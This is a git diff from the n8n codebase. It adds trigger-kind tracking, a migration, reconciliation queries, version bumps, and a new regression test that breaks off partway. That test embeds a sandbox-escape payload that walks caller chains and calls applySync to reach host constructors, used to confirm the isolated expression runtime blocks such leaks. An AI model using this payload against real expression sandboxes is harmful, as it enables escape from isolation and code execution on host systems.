const fullPath = path.join(resolvedDir, fp);
|
|
||||||
const stat = await fs.stat(fullPath);
|
|
||||||
if (stat.size > MAX_FILE_SIZE) continue;
|
|
||||||
|
|
||||||
const fileContent = await fs.readFile(fullPath);
|
|
||||||
const buffer = Buffer.isBuffer(fileContent) ? fileContent : Buffer.from(fileContent);
|
|
||||||
if (isLikelyBinaryContent(buffer)) continue;
|
|
||||||
|
|
||||||
const lines = buffer.toString('utf-8').split('\n');
|
|
||||||
for (let i = 0; i < lines.length; i++) {
|
|
||||||
if (regex.test(lines[i])) {
|
|
||||||
totalMatches++;
|
|
||||||
if (matches.length < limit) {
|
|
||||||
matches.push({ path: fp, lineNumber: i + 1, line: lines[i].substring(0, 200) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
regex.lastIndex = 0;
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
// Skip unreadable files
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return formatCallToolResult({
|
return formatCallToolResult({
|
||||||
name,
|
name,
|
||||||
query,
|
query,
|
||||||
matches,
|
matches: matches.slice(0, limit),
|
||||||
truncated: totalMatches > limit,
|
truncated: matches.length > limit,
|
||||||
totalMatches,
|
totalMatches: matches.length,
|
||||||
});
|
});
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
interface ResolvedFile {
|
||||||
|
path: string;
|
||||||
|
absolutePath: string;
|
||||||
|
}
|
||||||
|
|
||||||
function assertPatternStaysInside(pattern: string): void {
|
function assertPatternStaysInside(pattern: string): void {
|
||||||
if (pattern.startsWith('/') || pattern.split('/').includes('..')) {
|
if (pattern.startsWith('/') || pattern.split('/').includes('..')) {
|
||||||
throw new Error(`Pattern "${pattern}" escapes the base directory`);
|
throw new Error(`Pattern "${pattern}" escapes the base directory`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function grepFile(
|
||||||
|
file: ResolvedFile,
|
||||||
|
regex: RegExp,
|
||||||
|
): Promise<Array<{ path: string; lineNumber: number; line: string }>> {
|
||||||
|
try {
|
||||||
|
const stat = await fs.stat(file.absolutePath);
|
||||||
|
if (stat.size > MAX_FILE_SIZE) return [];
|
||||||
|
|
||||||
|
const buffer = await fs.readFile(file.absolutePath);
|
||||||
|
if (isLikelyBinaryContent(buffer)) return [];
|
||||||
|
|
||||||
|
const lines = buffer.toString('utf-8').split('\n');
|
||||||
|
const hits: Array<{ path: string; lineNumber: number; line: string }> = [];
|
||||||
|
for (let i = 0; i < lines.length; i++) {
|
||||||
|
if (regex.test(lines[i])) {
|
||||||
|
hits.push({ path: file.path, lineNumber: i + 1, line: lines[i].substring(0, 200) });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return hits;
|
||||||
|
} catch {
|
||||||
|
// Unreadable file
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function escapeRegex(str: string): string {
|
function escapeRegex(str: string): string {
|
||||||
return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/config",
|
"name": "@n8n/config",
|
||||||
"version": "2.29.0",
|
"version": "2.29.1",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"dev": "pnpm watch",
|
"dev": "pnpm watch",
|
||||||
|
|
|
||||||
|
|
@ -58,6 +58,11 @@ export class WorkflowsConfig {
|
||||||
@Env('N8N_WORKFLOW_PUBLICATION_OUTBOX_CLEANUP_BATCH_SIZE', positiveIntSchema)
|
@Env('N8N_WORKFLOW_PUBLICATION_OUTBOX_CLEANUP_BATCH_SIZE', positiveIntSchema)
|
||||||
publicationOutboxCleanupBatchSize: number = 1000;
|
publicationOutboxCleanupBatchSize: number = 1000;
|
||||||
|
|
||||||
|
/** Interval in seconds between trigger reconciliation runs on the leader, which
|
||||||
|
* re-publish workflows whose in-memory triggers went missing (e.g. after a leader transition). */
|
||||||
|
@Env('N8N_WORKFLOW_PUBLICATION_RECONCILE_INTERVAL_SECONDS', positiveIntSchema)
|
||||||
|
publicationReconcileIntervalSeconds: number = 10;
|
||||||
|
|
||||||
/** Whether to disable automatic workflow saving in the editor */
|
/** Whether to disable automatic workflow saving in the editor */
|
||||||
@Env('N8N_WORKFLOWS_AUTOSAVE_DISABLED')
|
@Env('N8N_WORKFLOWS_AUTOSAVE_DISABLED')
|
||||||
autosaveDisabled: boolean = false;
|
autosaveDisabled: boolean = false;
|
||||||
|
|
|
||||||
|
|
@ -230,6 +230,7 @@ describe('GlobalConfig', () => {
|
||||||
publicationOutboxFailedRetentionHours: 168,
|
publicationOutboxFailedRetentionHours: 168,
|
||||||
publicationOutboxCleanupIntervalSeconds: 1200,
|
publicationOutboxCleanupIntervalSeconds: 1200,
|
||||||
publicationOutboxCleanupBatchSize: 1000,
|
publicationOutboxCleanupBatchSize: 1000,
|
||||||
|
publicationReconcileIntervalSeconds: 10,
|
||||||
autosaveDisabled: false,
|
autosaveDisabled: false,
|
||||||
},
|
},
|
||||||
endpoints: {
|
endpoints: {
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/create-node",
|
"name": "@n8n/create-node",
|
||||||
"version": "0.39.0",
|
"version": "0.39.3",
|
||||||
"description": "Official CLI to create new community nodes for n8n",
|
"description": "Official CLI to create new community nodes for n8n",
|
||||||
"bin": {
|
"bin": {
|
||||||
"create-node": "bin/create-node.cjs"
|
"create-node": "bin/create-node.cjs"
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/db",
|
"name": "@n8n/db",
|
||||||
"version": "1.31.0",
|
"version": "1.31.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo .tmp-schema-docs",
|
"clean": "rimraf dist .turbo .tmp-schema-docs",
|
||||||
"dev": "pnpm watch",
|
"dev": "pnpm watch",
|
||||||
|
|
|
||||||
|
|
@ -57,6 +57,7 @@ import {
|
||||||
import {
|
import {
|
||||||
WorkflowPublicationTriggerStatus,
|
WorkflowPublicationTriggerStatus,
|
||||||
type WorkflowPublicationTriggerStatusType,
|
type WorkflowPublicationTriggerStatusType,
|
||||||
|
type WorkflowPublicationTriggerKind,
|
||||||
} from './workflow-publication-trigger-status';
|
} from './workflow-publication-trigger-status';
|
||||||
import { WorkflowPublishHistory } from './workflow-publish-history';
|
import { WorkflowPublishHistory } from './workflow-publish-history';
|
||||||
import { WorkflowPublishedVersion } from './workflow-published-version';
|
import { WorkflowPublishedVersion } from './workflow-published-version';
|
||||||
|
|
@ -111,6 +112,7 @@ export {
|
||||||
WorkflowPublicationOutboxStatus,
|
WorkflowPublicationOutboxStatus,
|
||||||
WorkflowPublicationTriggerStatus,
|
WorkflowPublicationTriggerStatus,
|
||||||
type WorkflowPublicationTriggerStatusType,
|
type WorkflowPublicationTriggerStatusType,
|
||||||
|
type WorkflowPublicationTriggerKind,
|
||||||
WorkflowPublishedVersion,
|
WorkflowPublishedVersion,
|
||||||
WorkflowPublishHistory,
|
WorkflowPublishHistory,
|
||||||
ExecutionData,
|
ExecutionData,
|
||||||
|
|
|
||||||
|
|
@ -6,6 +6,15 @@ import type { WorkflowHistory } from './workflow-history';
|
||||||
|
|
||||||
export type WorkflowPublicationTriggerStatusType = 'activated' | 'failed';
|
export type WorkflowPublicationTriggerStatusType = 'activated' | 'failed';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Where a trigger lives once activated: nodes whose type implements a `poll`
|
||||||
|
* or `trigger` function are registered `in-memory` on the owning instance,
|
||||||
|
* nodes with only a `webhook` function are `persisted` rows in
|
||||||
|
* `webhook_entity`. Reconciliation diffs the `in-memory` ones against the
|
||||||
|
* registry.
|
||||||
|
*/
|
||||||
|
export type WorkflowPublicationTriggerKind = 'in-memory' | 'persisted';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Per-trigger outcome of the most recent version-advancing publication for a
|
* Per-trigger outcome of the most recent version-advancing publication for a
|
||||||
* workflow. Full-replaced on each completed/partial/failed publication; the
|
* workflow. Full-replaced on each completed/partial/failed publication; the
|
||||||
|
|
@ -27,6 +36,9 @@ export class WorkflowPublicationTriggerStatus extends WithTimestamps {
|
||||||
@Column({ type: 'varchar', length: 20 })
|
@Column({ type: 'varchar', length: 20 })
|
||||||
status: WorkflowPublicationTriggerStatusType;
|
status: WorkflowPublicationTriggerStatusType;
|
||||||
|
|
||||||
|
@Column({ type: 'varchar', length: 20 })
|
||||||
|
triggerKind: WorkflowPublicationTriggerKind;
|
||||||
|
|
||||||
@Column({ type: 'text', nullable: true })
|
@Column({ type: 'text', nullable: true })
|
||||||
errorMessage: string | null;
|
errorMessage: string | null;
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,39 @@
|
||||||
|
import type { MigrationContext, ReversibleMigration } from '../migration-types';
|
||||||
|
|
||||||
|
const tableName = 'workflow_publication_trigger_status';
|
||||||
|
const columnName = 'triggerKind';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Adds `triggerKind` so a reconciler can tell in-memory triggers (nodes with a
|
||||||
|
* poll/trigger function, held on an instance) apart from persisted triggers
|
||||||
|
* (webhook-only nodes, stored in `webhook_entity`).
|
||||||
|
*
|
||||||
|
* The table is a publication-outcome cache, fully replaced on every publish, so
|
||||||
|
* existing rows are cleared rather than backfilled: the column is populated
|
||||||
|
* again during application startup after migrations run, when the leader
|
||||||
|
* enqueues and processes a publication record for every active workflow.
|
||||||
|
*/
|
||||||
|
export class AddTriggerKindToWorkflowPublicationTriggerStatus1784000000048
|
||||||
|
implements ReversibleMigration
|
||||||
|
{
|
||||||
|
async up({ schemaBuilder: { addColumns, column }, runQuery, escape }: MigrationContext) {
|
||||||
|
await runQuery(`DELETE FROM ${escape.tableName(tableName)}`);
|
||||||
|
|
||||||
|
await addColumns(
|
||||||
|
tableName,
|
||||||
|
[
|
||||||
|
column(columnName)
|
||||||
|
.varchar(20)
|
||||||
|
.notNull.withEnumCheck(['in-memory', 'persisted'])
|
||||||
|
.comment(
|
||||||
|
'Where the trigger lives once activated: in-memory (registered on the owning instance) vs persisted (webhook row in webhook_entity)',
|
||||||
|
),
|
||||||
|
],
|
||||||
|
{ recreatesOnSqlite: true },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
async down({ schemaBuilder: { dropColumns } }: MigrationContext) {
|
||||||
|
await dropColumns(tableName, [columnName], { recreatesOnSqlite: true });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
@ -219,6 +219,7 @@ import { AddUsedPrivateCredentialsToExecutionEntity1784000000041 } from '../comm
|
||||||
import { CreateSchedulerTables1784000000042 } from '../common/1784000000042-CreateSchedulerTables';
|
import { CreateSchedulerTables1784000000042 } from '../common/1784000000042-CreateSchedulerTables';
|
||||||
import { AddPartialIndexForGlobalCredentials1784000000044 } from '../common/1784000000044-AddPartialIndexForGlobalCredentials';
|
import { AddPartialIndexForGlobalCredentials1784000000044 } from '../common/1784000000044-AddPartialIndexForGlobalCredentials';
|
||||||
import { AddRecurringCronScheduleKind1784000000045 } from '../common/1784000000045-AddRecurringCronScheduleKind';
|
import { AddRecurringCronScheduleKind1784000000045 } from '../common/1784000000045-AddRecurringCronScheduleKind';
|
||||||
|
import { AddTriggerKindToWorkflowPublicationTriggerStatus1784000000048 } from '../common/1784000000048-AddTriggerKindToWorkflowPublicationTriggerStatus';
|
||||||
import type { Migration } from '../migration-types';
|
import type { Migration } from '../migration-types';
|
||||||
|
|
||||||
export const postgresMigrations: Migration[] = [
|
export const postgresMigrations: Migration[] = [
|
||||||
|
|
@ -443,4 +444,5 @@ export const postgresMigrations: Migration[] = [
|
||||||
CreateWorkflowStatisticsDeltaTable1784000000043,
|
CreateWorkflowStatisticsDeltaTable1784000000043,
|
||||||
AddPartialIndexForGlobalCredentials1784000000044,
|
AddPartialIndexForGlobalCredentials1784000000044,
|
||||||
AddRecurringCronScheduleKind1784000000045,
|
AddRecurringCronScheduleKind1784000000045,
|
||||||
|
AddTriggerKindToWorkflowPublicationTriggerStatus1784000000048,
|
||||||
];
|
];
|
||||||
|
|
|
||||||
|
|
@ -211,6 +211,7 @@ import { CreateWorkflowPublicationTriggerStatusTable1784000000040 } from '../com
|
||||||
import { AddUsedPrivateCredentialsToExecutionEntity1784000000041 } from '../common/1784000000041-AddUsedPrivateCredentialsToExecutionEntity';
|
import { AddUsedPrivateCredentialsToExecutionEntity1784000000041 } from '../common/1784000000041-AddUsedPrivateCredentialsToExecutionEntity';
|
||||||
import { CreateSchedulerTables1784000000042 } from '../common/1784000000042-CreateSchedulerTables';
|
import { CreateSchedulerTables1784000000042 } from '../common/1784000000042-CreateSchedulerTables';
|
||||||
import { AddPartialIndexForGlobalCredentials1784000000044 } from '../common/1784000000044-AddPartialIndexForGlobalCredentials';
|
import { AddPartialIndexForGlobalCredentials1784000000044 } from '../common/1784000000044-AddPartialIndexForGlobalCredentials';
|
||||||
|
import { AddTriggerKindToWorkflowPublicationTriggerStatus1784000000048 } from '../common/1784000000048-AddTriggerKindToWorkflowPublicationTriggerStatus';
|
||||||
|
|
||||||
const sqliteMigrations: Migration[] = [
|
const sqliteMigrations: Migration[] = [
|
||||||
InitialMigration1588102412422,
|
InitialMigration1588102412422,
|
||||||
|
|
@ -425,6 +426,7 @@ const sqliteMigrations: Migration[] = [
|
||||||
CreateSchedulerTables1784000000042,
|
CreateSchedulerTables1784000000042,
|
||||||
AddPartialIndexForGlobalCredentials1784000000044,
|
AddPartialIndexForGlobalCredentials1784000000044,
|
||||||
AddRecurringCronScheduleKind1784000000045,
|
AddRecurringCronScheduleKind1784000000045,
|
||||||
|
AddTriggerKindToWorkflowPublicationTriggerStatus1784000000048,
|
||||||
];
|
];
|
||||||
|
|
||||||
export { sqliteMigrations };
|
export { sqliteMigrations };
|
||||||
|
|
|
||||||
|
|
@ -92,47 +92,124 @@ export class WorkflowPublicationOutboxRepository extends Repository<WorkflowPubl
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Enqueue a pending publication record for every active, non-archived workflow
|
* Enqueue a pending publication record for the current version of each active workflow
|
||||||
* at its current active version, in a single statement. Idempotent via the same
|
* with at least one in-memory trigger.
|
||||||
* partial-unique-index upsert as {@link enqueue}.
|
*
|
||||||
|
* These must be re-published on startup or leader handoff to ensure that all
|
||||||
|
* of the in-memory state is correctly initialized. For workflows with no in-memory triggers,
|
||||||
|
* we can skip re-publishing because their triggers are already persisted.
|
||||||
|
*
|
||||||
|
* NOTE: we only exclude workflows where we KNOW that there are no in-memory triggers.
|
||||||
|
* If the per-trigger data is missing (e.g. due to a crash), we will still enqueue the
|
||||||
|
* workflow for publication, which is safe because the publication process is idempotent.
|
||||||
*/
|
*/
|
||||||
async enqueueAllActiveWorkflows(): Promise<void> {
|
async enqueueForLeaderHandoff(): Promise<void> {
|
||||||
if (this.globalConfig.database.type === 'postgresdb') {
|
if (this.globalConfig.database.type === 'postgresdb') {
|
||||||
await this.enqueueAllActiveWithPostgresUpsert();
|
await this.enqueueForLeaderHandoffWithPostgresUpsert();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
await this.enqueueAllActiveWithSqliteUpsert();
|
await this.enqueueForLeaderHandoffWithSqliteUpsert();
|
||||||
}
|
}
|
||||||
|
|
||||||
private async enqueueAllActiveWithPostgresUpsert(): Promise<void> {
|
private async enqueueForLeaderHandoffWithPostgresUpsert(): Promise<void> {
|
||||||
const tableName = this.getTableName('workflow_publication_outbox');
|
const outboxTableName = this.getTableName('workflow_publication_outbox');
|
||||||
const workflowTableName = this.getTableName('workflow_entity');
|
const workflowTableName = this.getTableName('workflow_entity');
|
||||||
|
const triggerStatusTableName = this.getTableName('workflow_publication_trigger_status');
|
||||||
|
|
||||||
await this.query(
|
await this.query(
|
||||||
`INSERT INTO ${tableName} ("workflowId", "publishedVersionId", "status")
|
`INSERT INTO ${outboxTableName} ("workflowId", "publishedVersionId", "status")
|
||||||
SELECT w."id", w."activeVersionId", '${Status.Pending}'
|
SELECT w."id", w."activeVersionId", '${Status.Pending}'
|
||||||
FROM ${workflowTableName} w
|
FROM ${workflowTableName} w
|
||||||
WHERE w."activeVersionId" IS NOT NULL AND w."isArchived" = false
|
WHERE w."activeVersionId" IS NOT NULL AND w."isArchived" = false
|
||||||
|
AND (
|
||||||
|
-- Enqueue workflows with at least one in-memory trigger
|
||||||
|
EXISTS (
|
||||||
|
SELECT 1 FROM ${triggerStatusTableName} ts
|
||||||
|
WHERE ts."workflowId" = w."id" AND ts."triggerKind" = 'in-memory'
|
||||||
|
)
|
||||||
|
-- Enqueue workflows where we have no trigger status data
|
||||||
|
OR NOT EXISTS (SELECT 1 FROM ${triggerStatusTableName} ts WHERE ts."workflowId" = w."id")
|
||||||
|
)
|
||||||
ON CONFLICT ("workflowId", "status") WHERE "status" IN ('${Status.Pending}', '${Status.InProgress}')
|
ON CONFLICT ("workflowId", "status") WHERE "status" IN ('${Status.Pending}', '${Status.InProgress}')
|
||||||
DO UPDATE SET "publishedVersionId" = EXCLUDED."publishedVersionId", "updatedAt" = CURRENT_TIMESTAMP(3)`,
|
DO UPDATE SET "publishedVersionId" = EXCLUDED."publishedVersionId", "updatedAt" = CURRENT_TIMESTAMP(3)`,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
private async enqueueAllActiveWithSqliteUpsert(): Promise<void> {
|
private async enqueueForLeaderHandoffWithSqliteUpsert(): Promise<void> {
|
||||||
const tableName = this.getTableName('workflow_publication_outbox');
|
const outboxTableName = this.getTableName('workflow_publication_outbox');
|
||||||
const workflowTableName = this.getTableName('workflow_entity');
|
const workflowTableName = this.getTableName('workflow_entity');
|
||||||
|
const triggerStatusTableName = this.getTableName('workflow_publication_trigger_status');
|
||||||
|
|
||||||
await this.query(
|
await this.query(
|
||||||
`INSERT INTO ${tableName} ("workflowId", "publishedVersionId", "status")
|
`INSERT INTO ${outboxTableName} ("workflowId", "publishedVersionId", "status")
|
||||||
SELECT w."id", w."activeVersionId", '${Status.Pending}'
|
SELECT w."id", w."activeVersionId", '${Status.Pending}'
|
||||||
FROM ${workflowTableName} w
|
FROM ${workflowTableName} w
|
||||||
WHERE w."activeVersionId" IS NOT NULL AND w."isArchived" = 0
|
WHERE w."activeVersionId" IS NOT NULL AND w."isArchived" = 0
|
||||||
|
AND (
|
||||||
|
-- Enqueue workflows with at least one in-memory trigger
|
||||||
|
EXISTS (
|
||||||
|
SELECT 1 FROM ${triggerStatusTableName} ts
|
||||||
|
WHERE ts."workflowId" = w."id" AND ts."triggerKind" = 'in-memory'
|
||||||
|
)
|
||||||
|
-- Enqueue workflows where we have no trigger status data
|
||||||
|
OR NOT EXISTS (SELECT 1 FROM ${triggerStatusTableName} ts WHERE ts."workflowId" = w."id")
|
||||||
|
)
|
||||||
ON CONFLICT ("workflowId", "status") WHERE "status" IN ('${Status.Pending}', '${Status.InProgress}')
|
ON CONFLICT ("workflowId", "status") WHERE "status" IN ('${Status.Pending}', '${Status.InProgress}')
|
||||||
DO UPDATE SET "publishedVersionId" = excluded."publishedVersionId", "updatedAt" = STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW')`,
|
DO UPDATE SET "publishedVersionId" = excluded."publishedVersionId", "updatedAt" = STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW')`,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Enqueue a pending publication record for each given workflow that is active
|
||||||
|
* and non-archived, at its current active version, in a single statement.
|
||||||
|
* Workflows that are inactive, archived, or absent are skipped. Idempotent via
|
||||||
|
* the same partial-unique-index upsert as {@link enqueue}, so the enqueued
|
||||||
|
* version is always the canonical `activeVersionId`. Used by reconciliation to
|
||||||
|
* re-publish workflows whose triggers went missing in memory.
|
||||||
|
*/
|
||||||
|
async enqueueByWorkflowIds(workflowIds: string[]): Promise<void> {
|
||||||
|
if (workflowIds.length === 0) return;
|
||||||
|
|
||||||
|
if (this.globalConfig.database.type === 'postgresdb') {
|
||||||
|
await this.enqueueByWorkflowIdsWithPostgresUpsert(workflowIds);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
await this.enqueueByWorkflowIdsWithSqliteUpsert(workflowIds);
|
||||||
|
}
|
||||||
|
|
||||||
|
private async enqueueByWorkflowIdsWithPostgresUpsert(workflowIds: string[]): Promise<void> {
|
||||||
|
const outboxTableName = this.getTableName('workflow_publication_outbox');
|
||||||
|
const workflowTableName = this.getTableName('workflow_entity');
|
||||||
|
|
||||||
|
await this.query(
|
||||||
|
`INSERT INTO ${outboxTableName} ("workflowId", "publishedVersionId", "status")
|
||||||
|
SELECT w."id", w."activeVersionId", '${Status.Pending}'
|
||||||
|
FROM ${workflowTableName} w
|
||||||
|
WHERE w."id" = ANY($1) AND w."activeVersionId" IS NOT NULL AND w."isArchived" = false
|
||||||
|
ON CONFLICT ("workflowId", "status") WHERE "status" IN ('${Status.Pending}', '${Status.InProgress}')
|
||||||
|
DO UPDATE SET "publishedVersionId" = EXCLUDED."publishedVersionId", "updatedAt" = CURRENT_TIMESTAMP(3)`,
|
||||||
|
[workflowIds],
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
private async enqueueByWorkflowIdsWithSqliteUpsert(workflowIds: string[]): Promise<void> {
|
||||||
|
const outboxTableName = this.getTableName('workflow_publication_outbox');
|
||||||
|
const workflowTableName = this.getTableName('workflow_entity');
|
||||||
|
const placeholders = workflowIds.map(() => '?').join(', ');
|
||||||
|
|
||||||
|
await this.query(
|
||||||
|
`INSERT INTO ${outboxTableName} ("workflowId", "publishedVersionId", "status")
|
||||||
|
SELECT w."id", w."activeVersionId", '${Status.Pending}'
|
||||||
|
FROM ${workflowTableName} w
|
||||||
|
WHERE w."id" IN (${placeholders}) AND w."activeVersionId" IS NOT NULL AND w."isArchived" = 0
|
||||||
|
ON CONFLICT ("workflowId", "status") WHERE "status" IN ('${Status.Pending}', '${Status.InProgress}')
|
||||||
|
DO UPDATE SET "publishedVersionId" = excluded."publishedVersionId", "updatedAt" = STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW')`,
|
||||||
|
workflowIds,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Atomically claim the oldest pending record by transitioning its status to
|
* Atomically claim the oldest pending record by transitioning its status to
|
||||||
* `in_progress`. Postgres uses `FOR UPDATE SKIP LOCKED` so concurrent
|
* `in_progress`. Postgres uses `FOR UPDATE SKIP LOCKED` so concurrent
|
||||||
|
|
|
||||||
|
|
@ -2,14 +2,25 @@ import { Service } from '@n8n/di';
|
||||||
import { DataSource, EntityManager, Repository } from '@n8n/typeorm';
|
import { DataSource, EntityManager, Repository } from '@n8n/typeorm';
|
||||||
|
|
||||||
import { WorkflowPublicationTriggerStatus } from '../entities';
|
import { WorkflowPublicationTriggerStatus } from '../entities';
|
||||||
|
import {
|
||||||
|
WorkflowPublicationOutbox,
|
||||||
|
WorkflowPublicationOutboxStatus,
|
||||||
|
} from '../entities/workflow-publication-outbox';
|
||||||
|
|
||||||
export type TriggerStatusRow = {
|
export type TriggerStatusRow = {
|
||||||
nodeId: string;
|
nodeId: string;
|
||||||
versionId: string;
|
versionId: string;
|
||||||
status: WorkflowPublicationTriggerStatus['status'];
|
status: WorkflowPublicationTriggerStatus['status'];
|
||||||
|
triggerKind: WorkflowPublicationTriggerStatus['triggerKind'];
|
||||||
errorMessage: string | null;
|
errorMessage: string | null;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/** A trigger that should be registered in memory on the owning instance. */
|
||||||
|
export type InMemoryTriggerRef = {
|
||||||
|
workflowId: string;
|
||||||
|
nodeId: string;
|
||||||
|
};
|
||||||
|
|
||||||
@Service()
|
@Service()
|
||||||
export class WorkflowPublicationTriggerStatusRepository extends Repository<WorkflowPublicationTriggerStatus> {
|
export class WorkflowPublicationTriggerStatusRepository extends Repository<WorkflowPublicationTriggerStatus> {
|
||||||
constructor(dataSource: DataSource) {
|
constructor(dataSource: DataSource) {
|
||||||
|
|
@ -36,4 +47,36 @@ export class WorkflowPublicationTriggerStatusRepository extends Repository<Workf
|
||||||
async findByWorkflowId(workflowId: string): Promise<WorkflowPublicationTriggerStatus[]> {
|
async findByWorkflowId(workflowId: string): Promise<WorkflowPublicationTriggerStatus[]> {
|
||||||
return await this.findBy({ workflowId });
|
return await this.findBy({ workflowId });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns every trigger that should currently be registered in memory: the
|
||||||
|
* activated, in-memory triggers of active workflows. The join on
|
||||||
|
* `activeVersionId` drops stale rows left by an interrupted unpublish, which
|
||||||
|
* would otherwise read as missing forever. Workflows with an in-flight
|
||||||
|
* (pending/in-progress) publication record are excluded: that publication is
|
||||||
|
* about to reconcile them anyway.
|
||||||
|
*/
|
||||||
|
async findActivatedInMemoryTriggers(): Promise<InMemoryTriggerRef[]> {
|
||||||
|
return await this.createQueryBuilder('ts')
|
||||||
|
.innerJoin('ts.workflow', 'workflow', 'workflow.activeVersionId IS NOT NULL')
|
||||||
|
.select(['ts.workflowId AS "workflowId"', 'ts.nodeId AS "nodeId"'])
|
||||||
|
.where('ts.status = :status', { status: 'activated' })
|
||||||
|
.andWhere('ts.triggerKind = :kind', { kind: 'in-memory' })
|
||||||
|
.andWhere((qb) => {
|
||||||
|
const inFlight = qb
|
||||||
|
.subQuery()
|
||||||
|
.select('1')
|
||||||
|
.from(WorkflowPublicationOutbox, 'outbox')
|
||||||
|
.where('outbox.workflowId = ts.workflowId')
|
||||||
|
.andWhere('outbox.status IN (:...inFlightStatuses)', {
|
||||||
|
inFlightStatuses: [
|
||||||
|
WorkflowPublicationOutboxStatus.Pending,
|
||||||
|
WorkflowPublicationOutboxStatus.InProgress,
|
||||||
|
],
|
||||||
|
})
|
||||||
|
.getQuery();
|
||||||
|
return `NOT EXISTS ${inFlight}`;
|
||||||
|
})
|
||||||
|
.getRawMany<InMemoryTriggerRef>();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/decorators",
|
"name": "@n8n/decorators",
|
||||||
"version": "1.31.0",
|
"version": "1.31.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"dev": "pnpm watch",
|
"dev": "pnpm watch",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/engine",
|
"name": "@n8n/engine",
|
||||||
"version": "0.11.0",
|
"version": "0.11.1",
|
||||||
"description": "n8n workflow execution engine (v2)",
|
"description": "n8n workflow execution engine (v2)",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo compiled",
|
"clean": "rimraf dist .turbo compiled",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/expression-runtime",
|
"name": "@n8n/expression-runtime",
|
||||||
"version": "0.22.0",
|
"version": "0.22.1",
|
||||||
"description": "Secure, isolated expression evaluation runtime for n8n",
|
"description": "Secure, isolated expression evaluation runtime for n8n",
|
||||||
"main": "dist/cjs/index.js",
|
"main": "dist/cjs/index.js",
|
||||||
"module": "dist/esm/index.js",
|
"module": "dist/esm/index.js",
|
||||||
|
|
|
||||||
|
|
@ -377,6 +377,72 @@ describe('Integration: ExpressionEvaluator + IsolatedVmBridge', () => {
|
||||||
expect(result).toBe('name,age,city');
|
expect(result).toBe('name,age,city');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should not leak host references through non-index array access', () => {
|
||||||
|
// Reading a non-index key like $json.a.constructor must return undefined,
|
||||||
|
// so a guest can't walk from an array to the host Object prototype.
|
||||||
|
const data = { $json: { a: [1337] } };
|
||||||
|
const expression = `{{
|
||||||
|
(function() {
|
||||||
|
const hostLookupParams = (() => eval)()(\`(args, res) => {
|
||||||
|
const _copy = {copy: true};
|
||||||
|
const _reference = {reference: true};
|
||||||
|
const params = {};
|
||||||
|
params.arguments = args === 'copy' ? _copy : _reference;
|
||||||
|
params.result = res === 'copy' ? _copy : _reference;
|
||||||
|
return params;
|
||||||
|
}\`);
|
||||||
|
const refs = (() => eval)()(\`
|
||||||
|
(function () { return arguments.callee.caller.caller.caller.arguments })()
|
||||||
|
\`);
|
||||||
|
const getArrayElement = refs[1];
|
||||||
|
|
||||||
|
var log = [];
|
||||||
|
|
||||||
|
function t(label, fn) {
|
||||||
|
try {
|
||||||
|
const result = fn();
|
||||||
|
log.push(label + '=' + result);
|
||||||
|
return result;
|
||||||
|
} catch (e) {
|
||||||
|
log.push(label + ':ERR ' + String(e && e.message ? e.message : e));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const hostArrayPath = ['$json', 'a'];
|
||||||
|
const HostArray = t('host array', function() {
|
||||||
|
return getArrayElement.applySync(null, [hostArrayPath, 'constructor'], hostLookupParams('copy', 'reference'));
|
||||||
|
});
|
||||||
|
const HostLookupGetter = t('host lookup getter', function() {
|
||||||
|
return getArrayElement.applySync(null, [hostArrayPath, '__lookupGetter__'], hostLookupParams('copy', 'reference'));
|
||||||
|
});
|
||||||
|
